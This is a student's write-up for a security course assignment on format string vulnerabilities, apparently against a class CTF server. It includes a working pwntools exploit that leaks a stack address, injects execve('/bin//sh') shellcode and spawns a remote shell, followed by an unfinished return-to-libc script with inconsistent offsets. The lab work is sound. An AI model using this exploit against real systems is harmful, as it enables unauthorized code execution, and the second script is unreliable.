

## Assignment 3 – Format String

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### Reference(s):

- [https://owasp.org/www-community/attacks/Format\\_string\\_attack](https://owasp.org/www-community/attacks/Format_string_attack)
- <https://cwe.mitre.org/data/definitions/134.html>
- <https://ctf101.org/binary-exploitation/what-is-a-format-string-vulnerability>
- <https://stackoverflow.com/questions/7459630/how-can-a-format-string-vulnerability-be-exploited>

After establishing a connection to the server, I sent the format string “%p” to leak an address from the stack. This address was captured in the server's response and decoded from hexadecimal format, revealing a memory location within the application's stack.

To ensure the shellcode could execute correctly, I adjusted the leaked address by adding an offset of “0x26C0” to point to the specific buffer location where my shellcode would be placed. The shellcode was crafted to invoke a shell using the “execve” system call, specifically moving the address of the string /bin//sh (represented as “0x68732f2f6e69622f”) into the rdi register. This address was pushed onto the stack to set up the command for execution.

Finally, I constructed the payload by combining the shellcode, NOP padding for alignment, and the adjusted buffer address. Upon sending this payload, I successfully gained an interactive shell to rpint the flag.

Used the GCP web shell as I have a Mac and binary analysis was not possible, even on a VM as we discussed in class too!

```
hriteshtonawane01@instance-20241002-224254:~$ python3 fstring_shell.py
[+] Opening connection to 35.209.254.29 on port 33822: Done
[*] name address: 0x7ffffbceal860
[*] Switching to interactive mode
Here's what the stack looks like after your input:

-----
| 0x7ffffbceal840: 25 70 0a 00 c6 7f 00 00 <-- name          |
| 0x7ffffbceal848: e5 bd 44 31 c6 7f 00 00                  |
| 0x7ffffbceal850: d0 04 af 36 3a 56 00 00                  |
| 0x7ffffbceal858: 80 18 ea bc ff 7f 00 00                  |
| 0x7ffffbceal860: 48 31 f6 56 48 bf 2f 62 <-- info         |
| 0x7ffffbceal868: 69 6e 2f 2f 73 68 57 54                  |
| 0x7ffffbceal870: 5f 6a 3b 58 99 0f 05 90                  |
| 0x7ffffbceal878: 90 90 90 90 90 90 90 90                  |
| 0x7ffffbceal880: 90 90 90 90 90 90 90 90                  |
| 0x7ffffbceal888: 60 18 ea bc ff 7f 00 00 <-- return address |
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$ ls
Makefile
challenge
flag.txt
$ cat flag.txt
CY6120{leak_&_execute_typbjwfh}$
```

Exploit code: (took help from GPT and Faaiza as I couldn't get the padding right)

```
fstring_shellcode.py x
Users > swordfish > Documents > Projects > cy6120 > assignments > a3-buffer-overflows > fstring_shellcode.py > ...
1  from pwn import * # type: ignore # noqa: F403
2
3  remote_conn = remote('35.209.254.29', 32392) # type: ignore # noqa: F405
4  remote_conn.recvuntil(b'What\'s your name?')
5
6  # Send the format string '%p' to leak an address from the stack
7  remote_conn.sendline(b'%p')
8  remote_conn.recvuntil(b'Hello, ')
9
10 addr_buffer = int(remote_conn.recvline().decode().strip(), 16)
11 |
12 # Adjust the leaked address to point to the buffer location
13 addr_buffer += 0x26C0
14
15 # Log the address of the buffer for debugging purposes
16 log.info(f'name address: {hex(addr_buffer)}') # type: ignore # noqa: F405
17 remote_conn.recvuntil(b'> ')
18
19 # Shellcode
20 shell_payload = asm(""" # type: ignore # type: ignore # type: ignore "asm" is not defined
21 xor rsi,rsi # Set rsi to 0 (null pointer for the environment)
22 push rsi # Push the null pointer onto the stack (argv[1])
23 mov rdi,0x68732f2f6e69622f # Move the address of the string '/bin//sh' into rdi
24 push rdi # Push the string onto the stack (argv[0])
25 push rsp # Push the stack pointer onto the stack (argv pointer)
26 pop rdi # Pop the pointer to the string into rdi (first argument for execve)
27 push 59 # Push the syscall number for execve (59) onto the stack
28 pop rax # Pop the syscall number into rax
29 cdq # Clear the rdx register (set it to 0 for execve)
30 syscall # Invoke the syscall to execute the command
31 """ , arch='amd64', os='linux') # noqa: F405
32
33 remote_conn.sendline(
34     shell_payload +
35     b'\x90' * (40 - len(shell_payload)) + # Pad the payload with NOP instructions to ensure a smooth jump to the shellcode
36     p64(addr_buffer) # Append the packed address of the buffer where the shellcode resides # noqa: F405 # type: ignore
37 )
38
39 remote_conn.interactive()
```

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For part 2: return to libc:

```
fstring_return_to_libc.py U X
assignments > a3-buffer-overflows > fstring_return_to_libc.py > ...
1  from pwn import * # type: ignore # noqa: F403
2
3  remote_conn = remote('35.209.254.29', 32392) # type: ignore # noqa: F405
4
5  def leak_address():
6      remote_conn.recvuntil(b'What\'s your name?')
7      remote_conn.sendline(b'%p')
8      remote_conn.recvuntil(b'Hello, ')
9      leaked_address = int(remote_conn.recvline().decode().strip(), 16)
10     return leaked_address
11
12     stack_address = leak_address()
13
14     libc_base = stack_address - 0x26C0
15     system_addr = libc_base + 0x52990
16     bin_sh_addr = libc_base + 0x1B45BD
17
18     log.info(f'Stack Address: {hex(stack_address)}') # type: ignore # noqa: F405
19     log.info(f'Libc Base Address: {hex(libc_base)}') # type: ignore # noqa: F405
20     log.info(f'System Address: {hex(system_addr)}') # type: ignore # noqa: F405
21     log.info(f'Address of "/bin/sh": {hex(bin_sh_addr)}') # type: ignore # noqa: F405
22
23     payload = b'A' * 40
24     payload += p64(system_addr) # type: ignore # noqa: F405
25     payload += p64(0x0) # type: ignore # noqa: F405
26     payload += p64(bin_sh_addr) # type: ignore # noqa: F405
27
28     remote_conn.sendline(payload)
29
30     remote_conn.interactive()
```

I'll continue working on it, but this is what I understood until now:

To perform a "Return to libc" exploit, I started by identifying the offsets for the system function and the string /bin/sh in libc.so.6 using readelf and strings commands. For example, I found system at 0x0000000000052290 and /bin/sh at 0x1b45bd. However, I'm still working on confirming the correct address for /bin/sh.

Next, I plan to leak an address from the process to determine the base address of libc.

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**libc\_base = leaked\_address - offset\_to\_known\_function**

Once I have the libc\_base:

**system\_addr = libc\_base + offset\_of\_system**

**bin\_sh\_addr = libc\_base + offset\_of\_bin\_sh**

The final payload will involve padding to reach the return address and appending the addresses of system and /bin/sh???:

**payload = [padding] + [system\_addr] + [bin\_sh\_addr]**

--- Thank you!